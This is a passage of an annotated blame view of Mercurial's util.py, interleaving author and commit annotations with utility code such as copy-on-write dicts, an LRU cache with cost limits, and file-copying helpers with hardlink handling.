r3145 def f(*args):
if args not in cache:
cache[args] = func(*args)
return cache[args]
return f
Augie Fackler
formatting: blacken the codebase...
r43346
Jun Wu
config: use copy-on-write to improve copy performance...
r34353 class cow(object):
"""helper class to make copy-on-write easier
Call preparewrite before doing any writes.
"""
def preparewrite(self):
"""call this before writes, return self or a copied new object"""
if getattr(self, '_copied', 0):
self._copied -= 1
return self.__class__(self)
return self
def copy(self):
"""always do a cheap copy"""
self._copied = getattr(self, '_copied', 0) + 1
return self
Augie Fackler
formatting: blacken the codebase...
r43346
Martin von Zweigbergk
util: rewrite sortdict using Python 2.7's OrderedDict...
r32300 class sortdict(collections.OrderedDict):
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """a simple sorted dictionary
Yuya Nishihara
util: drop unneeded override, sortdict.copy()...
r32306
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
Yuya Nishihara
util: drop unneeded override, sortdict.copy()...
r32306 >>> d2 = d1.copy()
>>> d2
sortdict([('a', 0), ('b', 1)])
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> d2.update([(b'a', 2)])
Yuya Nishihara
doctest: coerce dict.keys() to list...
r34141 >>> list(d2.keys()) # should still be in last-set order
Yuya Nishihara
util: drop unneeded override, sortdict.copy()...
r32306 ['b', 'a']
Martin von Zweigbergk
util: implement sortdict.insert()...
r44359 >>> d1.insert(1, b'a.5', 0.5)
>>> d1
sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """
Yuya Nishihara
util: drop unneeded override, sortdict.copy()...
r32306
Martin von Zweigbergk
util: rewrite sortdict using Python 2.7's OrderedDict...
r32300 def __setitem__(self, key, value):
Angel Ezquerra
config: move config.sortdict class into util...
r21813 if key in self:
Martin von Zweigbergk
util: rewrite sortdict using Python 2.7's OrderedDict...
r32300 del self[key]
super(sortdict, self).__setitem__(key, value)
Angel Ezquerra
config: move config.sortdict class into util...
r21813
Yuya Nishihara
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)...
r33628 if pycompat.ispypy:
# __setitem__() isn't called as of PyPy 5.8.0
def update(self, src):
if isinstance(src, dict):
Gregory Szorc
py3: finish porting iteritems() to pycompat and remove source transformer...
r43376 src = pycompat.iteritems(src)
Yuya Nishihara
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)...
r33628 for k, v in src:
self[k] = v
Martin von Zweigbergk
util: implement sortdict.insert()...
r44359 def insert(self, position, key, value):
for (i, (k, v)) in enumerate(list(self.items())):
if i == position:
self[key] = value
if i >= position:
del self[k]
self[k] = v
Augie Fackler
formatting: blacken the codebase...
r43346
Jun Wu
config: use copy-on-write to improve copy performance...
r34353 class cowdict(cow, dict):
"""copy-on-write dict
Be sure to call d = d.preparewrite() before writing to d.
>>> a = cowdict()
>>> a is a.preparewrite()
True
>>> b = a.copy()
>>> b is a
True
>>> c = b.copy()
>>> c is a
True
>>> a = a.preparewrite()
>>> b is a
False
>>> a is a.preparewrite()
True
>>> c = c.preparewrite()
>>> b is c
False
>>> b is b.preparewrite()
True
"""
Augie Fackler
formatting: blacken the codebase...
r43346
Jun Wu
config: use copy-on-write to improve copy performance...
r34353 class cowsortdict(cow, sortdict):
"""copy-on-write sortdict
Be sure to call d = d.preparewrite() before writing to d.
"""
Augie Fackler
formatting: blacken the codebase...
r43346
Augie Fackler
pytype: don't warn us about ignored-on-py3 metaclasses...
r43775 class transactional(object): # pytype: disable=ignored-metaclass
Martin von Zweigbergk
util: add base class for transactional context managers...
r33790 """Base class for making a transactional type into a context manager."""
Augie Fackler
formatting: blacken the codebase...
r43346
Martin von Zweigbergk
util: add base class for transactional context managers...
r33790 __metaclass__ = abc.ABCMeta
@abc.abstractmethod
def close(self):
"""Successfully closes the transaction."""
@abc.abstractmethod
def release(self):
"""Marks the end of the transaction.
If the transaction has not been closed, it will be aborted.
"""
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
try:
if exc_type is None:
self.close()
finally:
self.release()
Augie Fackler
formatting: blacken the codebase...
r43346
Martin von Zweigbergk
histedit: extract InterventionRequired transaction handling to utils...
r33446 @contextlib.contextmanager
def acceptintervention(tr=None):
"""A context manager that closes the transaction on InterventionRequired
If no transaction was provided, this simply runs the body and returns
"""
if not tr:
yield
return
try:
yield
tr.close()
except error.InterventionRequired:
tr.close()
raise
finally:
tr.release()
Augie Fackler
formatting: blacken the codebase...
r43346
Durham Goode
rebase: use one dirstateguard for when using rebase.singletransaction...
r33621 @contextlib.contextmanager
Manuel Jacob
util: enhance `nullcontextmanager` to be able to return __enter__ result...
r45706 def nullcontextmanager(enter_result=None):
yield enter_result
Durham Goode
rebase: use one dirstateguard for when using rebase.singletransaction...
r33621
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: reimplement lrucachedict...
r27371 class _lrucachenode(object):
"""A node in a doubly linked list.
Holds a reference to nodes on either side as well as a key-value
pair for the dictionary entry.
"""
Augie Fackler
formatting: blacken the codebase...
r43346
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
Gregory Szorc
util: reimplement lrucachedict...
r27371
def __init__(self):
self.next = None
self.prev = None
self.key = _notset
self.value = None
Gregory Szorc
util: allow lrucachedict to track cost of entries...
r39603 self.cost = 0
Gregory Szorc
util: reimplement lrucachedict...
r27371
def markempty(self):
"""Mark the node as emptied."""
self.key = _notset
Gregory Szorc
util: allow lrucachedict to track cost of entries...
r39603 self.value = None
self.cost = 0
Gregory Szorc
util: reimplement lrucachedict...
r27371
Augie Fackler
formatting: blacken the codebase...
r43346
Siddharth Agarwal
util: add an LRU cache dict...
r18603 class lrucachedict(object):
Gregory Szorc
util: reimplement lrucachedict...
r27371 """Dict that caches most recent accesses and sets.
The dict consists of an actual backing dict - indexed by original
key - and a doubly linked circular list defining the order of entries in
the cache.
The head node is the newest entry in the cache. If the cache is full,
we recycle head.prev and make it the new head. Cache accesses result in
the node being moved to before the existing head and being marked as the
new head node.
Gregory Szorc
util: allow lrucachedict to track cost of entries...
r39603
Items in the cache can be inserted with an optional "cost" value. This is
simply an integer that is specified by the caller. The cache can be queried
for the total cost of all items presently in the cache.
Gregory Szorc
util: teach lrucachedict to enforce a max total cost...
r39604
The cache can also define a maximum cost. If a cache insertion would
cause the total cost of the cache to go beyond the maximum cost limit,
nodes will be evicted to make room for the new code. This can be used
to e.g. set a max memory limit and associate an estimated bytes size
cost to each item in the cache. By default, no maximum cost is enforced.
Gregory Szorc
util: reimplement lrucachedict...
r27371 """
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: teach lrucachedict to enforce a max total cost...
r39604 def __init__(self, max, maxcost=0):
Siddharth Agarwal
util: add an LRU cache dict...
r18603 self._cache = {}
Gregory Szorc
util: reimplement lrucachedict...
r27371
self._head = head = _lrucachenode()
head.prev = head
head.next = head
self._size = 1
Gregory Szorc
util: make capacity a public attribute on lrucachedict...
r39600 self.capacity = max
Gregory Szorc
util: allow lrucachedict to track cost of entries...
r39603 self.totalcost = 0
Gregory Szorc
util: teach lrucachedict to enforce a max total cost...
r39604 self.maxcost = maxcost
Gregory Szorc
util: reimplement lrucachedict...
r27371
def __len__(self):
return len(self._cache)
def __contains__(self, k):
return k in self._cache
Siddharth Agarwal
util: add an LRU cache dict...
r18603
Gregory Szorc
util: reimplement lrucachedict...
r27371 def __iter__(self):
# We don't have to iterate in cache order, but why not.
n = self._head
for i in range(len(self._cache)):
yield n.key
n = n.next
def __getitem__(self, k):
node = self._cache[k]
self._movetohead(node)
return node.value
Gregory Szorc
util: allow lrucachedict to track cost of entries...
r39603 def insert(self, k, v, cost=0):
"""Insert a new item in the cache with optional cost value."""
Gregory Szorc
util: reimplement lrucachedict...
r27371 node = self._cache.get(k)
# Replace existing value and mark as newest.
if node is not None:
Gregory Szorc
util: allow lrucachedict to track cost of entries...
r39603 self.totalcost -= node.cost
Gregory Szorc
util: reimplement lrucachedict...
r27371 node.value = v
Gregory Szorc
util: allow lrucachedict to track cost of entries...
r39603 node.cost = cost
self.totalcost += cost
Gregory Szorc
util: reimplement lrucachedict...
r27371 self._movetohead(node)
Gregory Szorc
util: teach lrucachedict to enforce a max total cost...
r39604
if self.maxcost:
self._enforcecostlimit()
Gregory Szorc
util: reimplement lrucachedict...
r27371 return
Gregory Szorc
util: make capacity a public attribute on lrucachedict...
r39600 if self._size < self.capacity:
Gregory Szorc
util: reimplement lrucachedict...
r27371 node = self._addcapacity()
else:
# Grab the last/oldest item.
node = self._head.prev
Siddharth Agarwal
util: add an LRU cache dict...
r18603
Gregory Szorc
util: reimplement lrucachedict...
r27371 # At capacity. Kill the old entry.
if node.key is not _notset:
Gregory Szorc
util: allow lrucachedict to track cost of entries...
r39603 self.totalcost -= node.cost
Gregory Szorc
util: reimplement lrucachedict...
r27371 del self._cache[node.key]
node.key = k
node.value = v
Gregory Szorc
util: allow lrucachedict to track cost of entries...
r39603 node.cost = cost
self.totalcost += cost
Gregory Szorc
util: reimplement lrucachedict...
r27371 self._cache[k] = node
# And mark it as newest entry. No need to adjust order since it
# is already self._head.prev.
self._head = node
Siddharth Agarwal
util: add an LRU cache dict...
r18603
Gregory Szorc
util: teach lrucachedict to enforce a max total cost...
r39604 if self.maxcost:
self._enforcecostlimit()
Gregory Szorc
util: allow lrucachedict to track cost of entries...
r39603 def __setitem__(self, k, v):
self.insert(k, v)
Gregory Szorc
util: reimplement lrucachedict...
r27371 def __delitem__(self, k):
Yuya Nishihara
util: implement pop() on lrucachedict...
r40916 self.pop(k)
def pop(self, k, default=_notset):
try:
node = self._cache.pop(k)
except KeyError:
if default is _notset:
raise
return default
Matt Harbison
typing: add a couple of assertions to lrucachedict to help pytype...
r44333
assert node is not None # help pytype
Yuya Nishihara
util: implement pop() on lrucachedict...
r40916 value = node.value
Gregory Szorc
util: allow lrucachedict to track cost of entries...
r39603 self.totalcost -= node.cost
Gregory Szorc
util: reimplement lrucachedict...
r27371 node.markempty()
# Temporarily mark as newest item before re-adjusting head to make
# this node the oldest item.
self._movetohead(node)
self._head = node.next
Yuya Nishihara
util: implement pop() on lrucachedict...
r40916 return value
Gregory Szorc
util: reimplement lrucachedict...
r27371 # Additional dict methods.
def get(self, k, default=None):
try:
Gregory Szorc
util: update lrucachedict order during get()...
r39607 return self.__getitem__(k)
Gregory Szorc
util: reimplement lrucachedict...
r27371 except KeyError:
return default
Siddharth Agarwal
util: add an LRU cache dict...
r18603
Yuya Nishihara
util: add method to peek item in lrucachedict...
r40915 def peek(self, k, default=_notset):
"""Get the specified item without moving it to the head
Unlike get(), this doesn't mutate the internal state. But be aware
that it doesn't mean peek() is thread safe.
"""
try:
node = self._cache[k]
return node.value
except KeyError:
if default is _notset:
raise
return default
Siddharth Agarwal
lrucachedict: implement clear()
r19710 def clear(self):
Gregory Szorc
util: reimplement lrucachedict...
r27371 n = self._head
while n.key is not _notset:
Gregory Szorc
util: allow lrucachedict to track cost of entries...
r39603 self.totalcost -= n.cost
Gregory Szorc
util: reimplement lrucachedict...
r27371 n.markempty()
n = n.next
Siddharth Agarwal
lrucachedict: implement clear()
r19710 self._cache.clear()
Gregory Szorc
util: reimplement lrucachedict...
r27371
Gregory Szorc
util: teach lrucachedict to enforce a max total cost...
r39604 def copy(self, capacity=None, maxcost=0):
Gregory Szorc
util: ability to change capacity when copying lrucachedict...
r39601 """Create a new cache as a copy of the current one.
By default, the new cache has the same capacity as the existing one.
But, the cache capacity can be changed as part of performing the
copy.
Items in the copy have an insertion/access order matching this
instance.
"""
capacity = capacity or self.capacity
Gregory Szorc
util: teach lrucachedict to enforce a max total cost...
r39604 maxcost = maxcost or self.maxcost
result = lrucachedict(capacity, maxcost=maxcost)
Gregory Szorc
util: properly copy lrucachedict instances...
r39599
# We copy entries by iterating in oldest-to-newest order so the copy
# has the correct ordering.
# Find the first non-empty entry.
Eric Sumner
lrucachedict: add copy method...
r27576 n = self._head.prev
Gregory Szorc
util: properly copy lrucachedict instances...
r39599 while n.key is _notset and n is not self._head:
n = n.prev
Gregory Szorc
util: ability to change capacity when copying lrucachedict...
r39601 # We could potentially skip the first N items when decreasing capacity.
# But let's keep it simple unless it is a performance problem.
Eric Sumner
lrucachedict: add copy method...
r27576 for i in range(len(self._cache)):
Gregory Szorc
util: allow lrucachedict to track cost of entries...
r39603 result.insert(n.key, n.value, cost=n.cost)
Eric Sumner
lrucachedict: add copy method...
r27576 n = n.prev
Gregory Szorc
util: properly copy lrucachedict instances...
r39599
Eric Sumner
lrucachedict: add copy method...
r27576 return result
Gregory Szorc
util: add a popoldest() method to lrucachedict...
r39602 def popoldest(self):
"""Remove the oldest item from the cache.
Returns the (key, value) describing the removed cache entry.
"""
if not self._cache:
return
# Walk the linked list backwards starting at tail node until we hit
# a non-empty node.
n = self._head.prev
while n.key is _notset:
n = n.prev
Matt Harbison
typing: add a couple of assertions to lrucachedict to help pytype...
r44333 assert n is not None # help pytype
Gregory Szorc
util: add a popoldest() method to lrucachedict...
r39602 key, value = n.key, n.value
# And remove it from the cache and mark it as empty.
del self._cache[n.key]
Gregory Szorc
util: allow lrucachedict to track cost of entries...
r39603 self.totalcost -= n.cost
Gregory Szorc
util: add a popoldest() method to lrucachedict...
r39602 n.markempty()
return key, value
Gregory Szorc
util: reimplement lrucachedict...
r27371 def _movetohead(self, node):
"""Mark a node as the newest, making it the new head.
When a node is accessed, it becomes the freshest entry in the LRU
list, which is denoted by self._head.
Visually, let's make ``N`` the new head node (* denotes head):
previous/oldest <-> head <-> next/next newest
----<->--- A* ---<->-----
| |
E <-> D <-> N <-> C <-> B
To:
----<->--- N* ---<->-----
| |
E <-> D <-> C <-> B <-> A
This requires the following moves:
C.next = D (node.prev.next = node.next)
D.prev = C (node.next.prev = node.prev)
E.next = N (head.prev.next = node)
N.prev = E (node.prev = head.prev)
N.next = A (node.next = head)
A.prev = N (head.prev = node)
"""
head = self._head
# C.next = D
node.prev.next = node.next
# D.prev = C
node.next.prev = node.prev
# N.prev = E
node.prev = head.prev
# N.next = A
# It is tempting to do just "head" here, however if node is
# adjacent to head, this will do bad things.
node.next = head.prev.next
# E.next = N
node.next.prev = node
# A.prev = N
node.prev.next = node
self._head = node
def _addcapacity(self):
"""Add a node to the circular linked list.
The new node is inserted before the head node.
"""
head = self._head
node = _lrucachenode()
head.prev.next = node
node.prev = head.prev
node.next = head
head.prev = node
self._size += 1
return node
Siddharth Agarwal
lrucachedict: implement clear()
r19710
Gregory Szorc
util: teach lrucachedict to enforce a max total cost...
r39604 def _enforcecostlimit(self):
# This should run after an insertion. It should only be called if total
# cost limits are being enforced.
# The most recently inserted node is never evicted.
Gregory Szorc
util: optimize cost auditing on insert...
r39605 if len(self) <= 1 or self.totalcost <= self.maxcost:
return
# This is logically equivalent to calling popoldest() until we
# free up enough cost. We don't do that since popoldest() needs
# to walk the linked list and doing this in a loop would be
# quadratic. So we find the first non-empty node and then
# walk nodes until we free up enough capacity.
Gregory Szorc
util: lower water mark when removing nodes after cost limit reached...
r39606 #
# If we only removed the minimum number of nodes to free enough
# cost at insert time, chances are high that the next insert would
# also require pruning. This would effectively constitute quadratic
# behavior for insert-heavy workloads. To mitigate this, we set a
# target cost that is a percentage of the max cost. This will tend
# to free more nodes when the high water mark is reached, which
# lowers the chances of needing to prune on the subsequent insert.
targetcost = int(self.maxcost * 0.75)
Gregory Szorc
util: optimize cost auditing on insert...
r39605 n = self._head.prev
while n.key is _notset:
n = n.prev
Gregory Szorc
util: lower water mark when removing nodes after cost limit reached...
r39606 while len(self) > 1 and self.totalcost > targetcost:
Gregory Szorc
util: optimize cost auditing on insert...
r39605 del self._cache[n.key]
self.totalcost -= n.cost
n.markempty()
n = n.prev
Gregory Szorc
util: teach lrucachedict to enforce a max total cost...
r39604
Augie Fackler
formatting: blacken the codebase...
r43346
Matt Mackall
fix memory usage of revlog caches by limiting cache size [issue1639]
r9097 def lrucachefunc(func):
'''cache most recent results of function calls'''
cache = {}
Martin von Zweigbergk
util: drop alias for collections.deque...
r25113 order = collections.deque()
timeless
util: use __code__ (available since py2.6)
r28832 if func.__code__.co_argcount == 1:
Augie Fackler
formatting: blacken the codebase...
r43346
Matt Mackall
fix memory usage of revlog caches by limiting cache size [issue1639]
r9097 def f(arg):
if arg not in cache:
if len(cache) > 20:
Bryan O'Sullivan
cleanup: use the deque type where appropriate...
r16803 del cache[order.popleft()]
Matt Mackall
fix memory usage of revlog caches by limiting cache size [issue1639]
r9097 cache[arg] = func(arg)
else:
order.remove(arg)
order.append(arg)
return cache[arg]
Augie Fackler
formatting: blacken the codebase...
r43346
Matt Mackall
fix memory usage of revlog caches by limiting cache size [issue1639]
r9097 else:
Augie Fackler
formatting: blacken the codebase...
r43346
Matt Mackall
fix memory usage of revlog caches by limiting cache size [issue1639]
r9097 def f(*args):
if args not in cache:
if len(cache) > 20:
Bryan O'Sullivan
cleanup: use the deque type where appropriate...
r16803 del cache[order.popleft()]
Matt Mackall
fix memory usage of revlog caches by limiting cache size [issue1639]
r9097 cache[args] = func(*args)
else:
order.remove(args)
order.append(args)
return cache[args]
return f
Augie Fackler
formatting: blacken the codebase...
r43346
Matt Mackall
util: take propertycache from context.py
r8207 class propertycache(object):
def __init__(self, func):
self.func = func
self.name = func.__name__
Augie Fackler
formatting: blacken the codebase...
r43346
Matt Mackall
util: take propertycache from context.py
r8207 def __get__(self, obj, type=None):
result = self.func(obj)
Pierre-Yves David
clfilter: add a propertycache that must be unfiltered...
r18013 self.cachevalue(obj, result)
Matt Mackall
util: take propertycache from context.py
r8207 return result
Pierre-Yves David
clfilter: add a propertycache that must be unfiltered...
r18013 def cachevalue(self, obj, value):
Mads Kiilerich
spelling: random spell checker fixes
r19951 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
Pierre-Yves David
repoview: make propertycache.setcache compatible with repoview...
r19845 obj.__dict__[self.name] = value
Pierre-Yves David
clfilter: add a propertycache that must be unfiltered...
r18013
Augie Fackler
formatting: blacken the codebase...
r43346
Mark Thomas
util: add util.clearcachedproperty...
r35021 def clearcachedproperty(obj, prop):
'''clear a cached property value, if one has been set'''
Yuya Nishihara
py3: cast attribute name to sysstr in clearcachedproperty()
r40725 prop = pycompat.sysstr(prop)
Mark Thomas
util: add util.clearcachedproperty...
r35021 if prop in obj.__dict__:
del obj.__dict__[prop]
Augie Fackler
formatting: blacken the codebase...
r43346
Brendan Cully
templater: return data in increasing chunk sizes...
r7396 def increasingchunks(source, min=1024, max=65536):
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """return no less than min bytes per chunk while data remains,
doubling min after each chunk until it reaches max"""
Augie Fackler
formatting: blacken the codebase...
r43346
Brendan Cully
templater: return data in increasing chunk sizes...
r7396 def log2(x):
if not x:
return 0
i = 0
while x:
x >>= 1
i += 1
return i - 1
buf = []
blen = 0
for chunk in source:
buf.append(chunk)
blen += len(chunk)
if blen >= min:
if min < max:
min = min << 1
nmin = 1 << log2(blen)
if nmin > min:
min = nmin
if min > max:
min = max
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 yield b''.join(buf)
Brendan Cully
templater: return data in increasing chunk sizes...
r7396 blen = 0
buf = []
if buf:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 yield b''.join(buf)
Brendan Cully
templater: return data in increasing chunk sizes...
r7396
Augie Fackler
formatting: blacken the codebase...
r43346
Matt Mackall
many, many trivial check-code fixups
r10282 def always(fn):
return True
Augie Fackler
formatting: blacken the codebase...
r43346
Matt Mackall
many, many trivial check-code fixups
r10282 def never(fn):
return False
Bryan O'Sullivan
Get add and locate to use new repo and dirstate walk code....
r724
Augie Fackler
formatting: blacken the codebase...
r43346
Pierre-Yves David
util: add a 'nogc' decorator to disable the garbage collection...
r23495 def nogc(func):
"""disable garbage collector
Python's garbage collector triggers a GC each time a certain number of
container objects (the number being defined by gc.get_threshold()) are
allocated even when marked not to be tracked by the collector. Tracking has
no effect on when GCs are triggered, only on what objects the GC looks
Mads Kiilerich
spelling: fixes from proofreading of spell checker issues
r23543 into. As a workaround, disable GC while building complex (huge)
Pierre-Yves David
util: add a 'nogc' decorator to disable the garbage collection...
r23495 containers.
Jun Wu
util: make nogc effective for CPython...
r33796 This garbage collector issue have been fixed in 2.7. But it still affect
CPython's performance.
Pierre-Yves David
util: add a 'nogc' decorator to disable the garbage collection...
r23495 """
Augie Fackler
formatting: blacken the codebase...
r43346
Pierre-Yves David
util: add a 'nogc' decorator to disable the garbage collection...
r23495 def wrapper(*args, **kwargs):
gcenabled = gc.isenabled()
gc.disable()
try:
return func(*args, **kwargs)
finally:
if gcenabled:
gc.enable()
Augie Fackler
formatting: blacken the codebase...
r43346
Pierre-Yves David
util: add a 'nogc' decorator to disable the garbage collection...
r23495 return wrapper
Augie Fackler
formatting: blacken the codebase...
r43346
Jun Wu
util: make nogc effective for CPython...
r33796 if pycompat.ispypy:
# PyPy runs slower with gc disabled
nogc = lambda x: x
Augie Fackler
formatting: blacken the codebase...
r43346
Alexis S. L. Carvalho
pass repo.root to util.pathto() in preparation for the next patch
r4229 def pathto(root, n1, n2):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes, bytes, bytes) -> bytes
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """return the relative path from one place to another.
Alexis S. L. Carvalho
pass repo.root to util.pathto() in preparation for the next patch
r4229 root should use os.sep to separate directories
Alexis S. L. Carvalho
fix util.pathto...
r3669 n1 should use os.sep to separate directories
n2 should use "/" to separate directories
returns an os.sep-separated path.
Alexis S. L. Carvalho
pass repo.root to util.pathto() in preparation for the next patch
r4229
If n1 is a relative path, it's assumed it's
relative to root.
n2 should always be relative to root.
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """
Matt Mackall
many, many trivial check-code fixups
r10282 if not n1:
return localpath(n2)
Alexis S. L. Carvalho
Fix handling of paths when run outside the repo....
r4230 if os.path.isabs(n1):
if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
return os.path.join(root, localpath(n2))
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 n2 = b'/'.join((pconvert(root), n2))
a, b = splitpath(n1), n2.split(b'/')
twaldmann@thinkmo.de
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
r1541 a.reverse()
b.reverse()
Bryan O'Sullivan
Fix walk code for files that do not exist anywhere, and unhandled types....
r884 while a and b and a[-1] == b[-1]:
twaldmann@thinkmo.de
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
r1541 a.pop()
b.pop()
Bryan O'Sullivan
Fix walk code for files that do not exist anywhere, and unhandled types....
r884 b.reverse()
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
Bryan O'Sullivan
Fix walk code for files that do not exist anywhere, and unhandled types....
r884
Augie Fackler
formatting: blacken the codebase...
r43346
Matt Harbison
phabricator: avoid a stacktrace when command arguments are missing...
r44918 def checksignature(func, depth=1):
Matt Mackall
dispatch: generalize signature checking for extension command wrapping
r7388 '''wrap a function with code to check for calling errors'''
Augie Fackler
formatting: blacken the codebase...
r43346
Matt Mackall
dispatch: generalize signature checking for extension command wrapping
r7388 def check(*args, **kwargs):
try:
return func(*args, **kwargs)
except TypeError:
Matt Harbison
phabricator: avoid a stacktrace when command arguments are missing...
r44918 if len(traceback.extract_tb(sys.exc_info()[2])) == depth:
Matt Mackall
error: move SignatureError
r7646 raise error.SignatureError
Matt Mackall
dispatch: generalize signature checking for extension command wrapping
r7388 raise
return check
Augie Fackler
formatting: blacken the codebase...
r43346
Jun Wu
util: disable hardlink for copyfile if fstype is outside a whitelist...
r31575 # a whilelist of known filesystems where hardlink works reliably
Martin von Zweigbergk
cleanup: use set literals...
r32291 _hardlinkfswhitelist = {
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'apfs',
b'btrfs',
b'ext2',
b'ext3',
b'ext4',
b'hfs',
b'jfs',
b'NTFS',
b'reiserfs',
b'tmpfs',
b'ufs',
b'xfs',
b'zfs',
Martin von Zweigbergk
cleanup: use set literals...
r32291 }
Jun Wu
util: disable hardlink for copyfile if fstype is outside a whitelist...
r31575
Augie Fackler
formatting: blacken the codebase...
r43346
FUJIWARA Katsunori
util: make copyfile avoid ambiguity of file stat if needed...
r29204 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """copy a file, preserving mode and optionally other stat info like
FUJIWARA Katsunori
doc: describe detail about checkambig optional argument...
r29367 atime/mtime
checkambig argument is used with filestat, and is useful only if
destination file is guarded by any lock (e.g. repo.lock or
repo.wlock).
copystat and checkambig should be exclusive.
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """
FUJIWARA Katsunori
util: make copyfile avoid ambiguity of file stat if needed...
r29204 assert not (copystat and checkambig)
oldstat = None
Mads Kiilerich
util: copyfile: remove dest before copying...
r18326 if os.path.lexists(dest):
FUJIWARA Katsunori
util: make copyfile avoid ambiguity of file stat if needed...
r29204 if checkambig:
Siddharth Agarwal
filestat: move __init__ to frompath constructor...
r32772 oldstat = checkambig and filestat.frompath(dest)
Mads Kiilerich
util: copyfile: remove dest before copying...
r18326 unlink(dest)
Jun Wu
util: disable hardlink for copyfile if fstype is outside a whitelist...
r31575 if hardlink:
# Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
# unless we are confident that dest is on a whitelisted filesystem.
Yuya Nishihara
statfs: make getfstype() raise OSError...
r31678 try:
fstype = getfstype(os.path.dirname(dest))
except OSError:
fstype = None
Jun Wu
util: disable hardlink for copyfile if fstype is outside a whitelist...
r31575 if fstype not in _hardlinkfswhitelist:
hardlink = False
Jun Wu
util: enable hardlink for copyfile...
r31577 if hardlink:
Pierre-Yves David
copyfile: allow optional hardlinking...
r23899 try:
oslink(src, dest)
return
except (IOError, OSError):
Augie Fackler
formatting: blacken the codebase...
r43346 pass # fall back to normal copy
Eric St-Jean
fix util.copyfile to deal with symlinks
r4271 if os.path.islink(src):
os.symlink(os.readlink(src), dest)
Siddharth Agarwal
copyfile: add an optional parameter to copy other stat data...
r27369 # copytime is ignored for symlinks, but in general copytime isn't needed
# for them anyway
Eric St-Jean
fix util.copyfile to deal with symlinks
r4271 else:
try:
shutil.copyfile(src, dest)
Siddharth Agarwal
copyfile: add an optional parameter to copy other stat data...
r27369 if copystat:
# copystat also copies mode
shutil.copystat(src, dest)
else:
shutil.copymode(src, dest)
FUJIWARA Katsunori
util: make copyfile avoid ambiguity of file stat if needed...
r29204 if oldstat and oldstat.stat:
Siddharth Agarwal
filestat: move __init__ to frompath constructor...
r32772 newstat = filestat.frompath(dest)
FUJIWARA Katsunori
util: make copyfile avoid ambiguity of file stat if needed...
r29204 if newstat.isambig(oldstat):
# stat of copied file is ambiguous to original one
Augie Fackler
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime...
r36799 advanced = (
Augie Fackler
formatting: blacken the codebase...
r43346 oldstat.stat[stat.ST_MTIME] + 1
) & 0x7FFFFFFF
FUJIWARA Katsunori
util: make copyfile avoid ambiguity of file stat if needed...
r29204 os.utime(dest, (advanced, advanced))
Gregory Szorc
global: mass rewrite to use modern exception syntax...
r25660 except shutil.Error as inst:
Matt Harbison
util: convert an exception to bytes when passing to Abort()...
r44128 raise error.Abort(stringutil.forcebytestr(inst))
Matt Mackall
util: add copyfile function
r3629
Augie Fackler
formatting: blacken the codebase...
r43346
Martin von Zweigbergk
copystore: use progress helper...
r38399 def copyfiles(src, dst, hardlink=None, progress=None):
Augie Fackler
util: add progress callback support to copyfiles
r24439 """Copy a directory tree using hardlinks if possible."""
num = 0
Stephen Darnell
Add support for cloning with hardlinks on windows....
r1241
Martin von Zweigbergk
copystore: use progress helper...
r38399 def settopic():
if progress:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 progress.topic = _(b'linking') if hardlink else _(b'copying')
Thomas Arendsen Hein
Use python function instead of external 'cp' command when cloning repos....
r698
mpm@selenic.com
Rewrite copytree as copyfiles...
r1207 if os.path.isdir(src):
Jun Wu
hardlink: duplicate hardlink detection for copying files and directories...
r31719 if hardlink is None:
Augie Fackler
formatting: blacken the codebase...
r43346 hardlink = (
os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
)
Martin von Zweigbergk
copystore: use progress helper...
r38399 settopic()
mpm@selenic.com
Rewrite copytree as copyfiles...
r1207 os.mkdir(dst)
Yuya Nishihara
osutil: proxy through util (and platform) modules (API)...
r32203 for name, kind in listdir(src):
mpm@selenic.com
Rewrite copytree as copyfiles...
r1207 srcname = os.path.join(src, name)
dstname = os.path.join(dst, name)
Martin von Zweigbergk
copystore: use progress helper...
r38399 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
Adrian Buehlmann
clone: print number of linked/copied files on --debug
r11251 num += n
mpm@selenic.com
Rewrite copytree as copyfiles...
r1207 else:
Jun Wu
hardlink: duplicate hardlink detection for copying files and directories...
r31719 if hardlink is None:
Augie Fackler
formatting: blacken the codebase...
r43346 hardlink = (
os.stat(os.path.dirname(src)).st_dev
== os.stat(os.path.dirname(dst)).st_dev
)
Martin von Zweigbergk
copystore: use progress helper...
r38399 settopic()
Jun Wu
hardlink: duplicate hardlink detection for copying files and directories...
r31719
Stephen Darnell
Add support for cloning with hardlinks on windows....
r1241 if hardlink:
try:
Adrian Buehlmann
rename util.os_link to oslink
r14235 oslink(src, dst)
Vadim Gelfer
